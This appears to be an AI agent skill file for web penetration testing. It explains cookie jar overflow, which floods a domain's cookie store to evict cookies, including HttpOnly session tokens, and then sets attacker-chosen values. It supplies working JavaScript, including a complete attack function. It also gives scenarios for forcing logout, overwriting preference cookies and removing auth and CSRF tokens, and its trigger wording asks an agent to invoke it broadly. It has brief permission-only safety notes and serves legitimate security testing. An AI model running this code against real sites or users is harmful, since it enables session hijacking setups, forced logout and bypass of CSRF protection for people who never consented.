| name | cookie-jar-overflow |
| description | Web pentesting technique to overflow browser cookie storage and force deletion of existing cookies. Use this skill when testing for cookie manipulation vulnerabilities, when you need to remove or overwrite HttpOnly cookies, or when analyzing cookie-based authentication bypass scenarios. Trigger this skill for any cookie-related security testing, browser storage attacks, or session manipulation tasks. |
Cookie Jar Overflow
A browser-based attack technique that exploits the limit on cookies per domain to force deletion of existing cookies, including HttpOnly cookies.
What is Cookie Jar Overflow?
Browsers enforce a limit on the number of cookies that can be stored per domain (typically 18-200 cookies depending on browser). When this limit is exceeded, the browser automatically deletes the oldest cookies to make room for new ones. This behavior can be weaponized to:
- Force deletion of specific cookies - including session tokens
- Overwrite HttpOnly cookies - by deleting them and setting a new value
- Bypass cookie-based security controls - by removing authentication cookies
When to Use This Technique
Use cookie jar overflow when:
- Testing cookie-based authentication - Can you force logout by overflowing the jar?
- Analyzing HttpOnly cookie security - Can you manipulate cookies marked as HttpOnly?
- Session fixation attacks - Can you remove existing session cookies?
- Cookie persistence testing - How does the application handle missing cookies?
- Third-party cookie scenarios - Understanding domain-specific cookie limits
Implementation
Basic Cookie Overflow
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i}; Secure; SameSite=None; path=/`
}
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/`
}
Targeted Cookie Deletion
for (let i = 0; i < 700; i++) {
document.cookie = `overflow${i}=${i}; path=/`
}
document.cookie = `target_cookie=malicious_value; path=/`
Complete Attack Script
function overflowCookieJar(targetCookieName) {
const NUM_COOKIES = 700;
console.log(`[+] Setting ${NUM_COOKIES} cookies to overflow jar...`);
for (let i = 0; i < NUM_COOKIES; i++) {
document.cookie = `overflow_${i}=${i}; path=/; SameSite=None; Secure`
}
console.log('[+] Cleaning up overflow cookies...');
for (let i = 0; i < NUM_COOKIES; i++) {
document.cookie = `overflow_${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/`
}
if (targetCookieName) {
console.log(`[+] Setting target cookie: ${targetCookieName}`);
document.cookie = `${targetCookieName}=attacker_value; path=/`
}
console.log('[+] Cookie jar overflow complete');
}
Important Considerations
Third-Party Cookies
Cookies pointing to different domains won't be overwritten by this technique. Each domain has its own cookie jar limit.
HttpOnly Cookies
While HttpOnly cookies cannot be read via JavaScript, they CAN be deleted through cookie jar overflow. After deletion, you can set a new cookie with the same name (though it won't have the HttpOnly flag).
Browser Variations
Different browsers have different cookie limits:
- Chrome: ~180 cookies per domain
- Firefox: ~180 cookies per domain
- Safari: ~180 cookies per domain
- Edge: ~180 cookies per domain
Modern Browser Protections
- SameSite cookies: May limit cross-site cookie setting
- Secure flag: Required for HTTPS-only cookies
- Cookie partitioning: Some browsers isolate cookies per site
Testing Checklist
When testing with this technique:
Example Attack Scenarios
Scenario 1: Session Logout
Force a user to logout by removing their session cookie:
overflowCookieJar('session_id');
Scenario 2: Cookie Value Manipulation
Overwrite a preference cookie:
overflowCookieJar('user_preferences');
document.cookie = 'user_preferences=malicious_config; path=/';
Scenario 3: Authentication Bypass
Remove authentication cookies to test fallback mechanisms:
overflowCookieJar('auth_token');
overflowCookieJar('csrf_token');
References
Safety Notes
- Only use this technique on systems you own or have explicit permission to test
- Document all findings for the security team
- Consider the impact on legitimate users during testing
- Test in isolated environments when possible